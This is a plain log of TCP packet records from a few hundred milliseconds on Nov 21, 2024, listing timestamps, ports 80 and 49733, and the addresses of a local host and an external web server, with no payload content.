Nov 21, 2024 22:33:05.600162029 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.600222111 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.600229979 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.600260019 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.601087093 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.601130962 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.601408005 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.601457119 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.601852894 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.601902008 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.601933002 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.601979971 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.602677107 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.602726936 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.602792978 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.602838993 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.603564024 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.603611946 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.603676081 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.603727102 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.604371071 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.604417086 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.604598999 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.604645014 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.605190992 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.605237007 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.605346918 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.605395079 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.606029034 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.606077909 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.606125116 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.606173038 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.606865883 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.606915951 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.606980085 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.607028008 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.607729912 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.607778072 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.607827902 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.607877016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.608572960 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.608620882 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.608652115 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.608697891 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.609395981 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.609443903 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.609492064 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.609538078 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.699028969 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.699136972 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.699157000 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.699198961 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.699425936 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.699472904 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.699484110 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.699522018 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.700278044 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.700351000 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.700351000 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.700388908 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.701070070 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.701111078 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.701240063 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.701277018 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.701900005 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.701947927 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.702019930 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.702059984 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.702817917 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.702860117 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.702930927 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.702970028 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.703589916 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.703634977 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.703718901 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.703759909 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.704408884 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.704451084 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.704480886 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.704529047 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.705343962 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.705403090 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.705468893 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.705507040 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.706098080 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.706144094 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.706163883 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.706202030 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.706942081 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.706984043 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.707041979 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.707078934 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.707786083 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.707842112 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.707866907 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.707901001 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.708647966 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.708698034 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.708724022 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.708760023 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.709460974 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.709523916 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.709527016 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.709563017 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.710367918 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.710412025 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.710448027 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.710485935 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.711160898 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.711213112 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.711232901 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.711277962 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.712009907 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.712059975 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.712094069 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.712132931 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.712831974 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.712877035 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.712970972 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.713006973 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.713691950 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.713711023 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.713735104 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.713748932 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.714533091 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.714586020 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.714670897 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.714715004 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.715385914 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.715434074 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.715491056 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.715529919 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.716212988 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.716258049 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.716274977 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.716314077 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.717046022 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.717089891 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.717175961 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.717215061 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.717864990 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.717909098 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.777568102 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.777662039 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.777822018 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.777883053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.777950048 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.777997017 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.778105974 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.778151035 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.778542995 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.778590918 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.778672934 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.778719902 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.779423952 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.779470921 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.779495001 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.779542923 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.780214071 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.780258894 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.780324936 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.780370951 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.781073093 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.781120062 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.781280041 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.781332016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.781904936 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.781951904 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.782016039 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.782062054 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.782799959 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.782843113 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.782927990 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.782972097 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.783622980 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.783648014 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.783674002 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.783694029 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.784471989 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.784521103 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.784528017 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.784573078 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.785290003 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.785341978 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.785403967 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.785458088 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.786135912 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.786185026 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.786218882 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.786263943 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.786959887 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.787008047 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.787147045 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.787197113 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.787852049 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.787918091 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.787955999 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.788002968 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.788647890 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.788698912 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.788835049 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.788882971 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.789503098 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.789551973 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.789622068 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.789669037 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.790319920 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.790366888 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.790438890 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.790501118 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.791265011 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.791316032 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.791326046 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.791371107 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.792117119 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.792167902 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.792201042 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.792248964 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.792861938 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.792913914 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.792973995 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.793025970 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.793715000 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.793764114 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.793912888 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.793957949 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.794543982 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.794590950 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.794617891 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.794663906 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.795389891 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.795434952 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.795488119 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.795533895 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.796206951 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.796255112 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.796299934 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.796351910 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.797068119 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.797117949 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.797149897 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.797194958 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.797943115 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.798007965 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.798022032 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.798065901 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.798783064 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.798831940 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.798949957 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.798991919 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.799590111 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.799643993 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.799694061 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.799740076 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.800434113 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.800477028 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.800538063 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.800584078 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.801269054 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.801311016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.801384926 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.801428080 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.802062035 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.802109003 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.893368959 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.893467903 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.893491983 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.893533945 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.893539906 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.893578053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.893691063 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.893729925 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.894370079 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.894409895 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.894484043 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.894524097 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.895241976 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.895289898 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.895296097 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.895332098 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.895812035 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.895854950 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.895885944 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.895925999 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.896716118 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.896759033 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.896768093 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.896809101 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.897536993 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.897581100 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.897608995 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.897646904 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.898319960 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.898369074 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.898447990 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.898488045 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.899154902 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.899204016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.899291992 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.899337053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.900007010 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.900125027 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.900152922 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.900163889 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.900835037 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.900882959 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.900935888 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.900975943 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.901691914 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.901809931 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.901834011 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.901844025 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.902569056 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.902647018 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.902679920 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.902720928 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.903412104 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.903481007 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.903522015 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.903563976 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.904200077 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.904248953 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.904335022 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.904373884 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.905047894 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.905102968 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.905126095 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.905164003 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.905894995 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.905945063 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.905950069 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.905989885 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.906737089 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.906811953 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.906826019 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.906884909 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.907581091 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.907644987 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.907670975 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.907725096 CET	49733	80	192.168.2.4	109.107.157.132
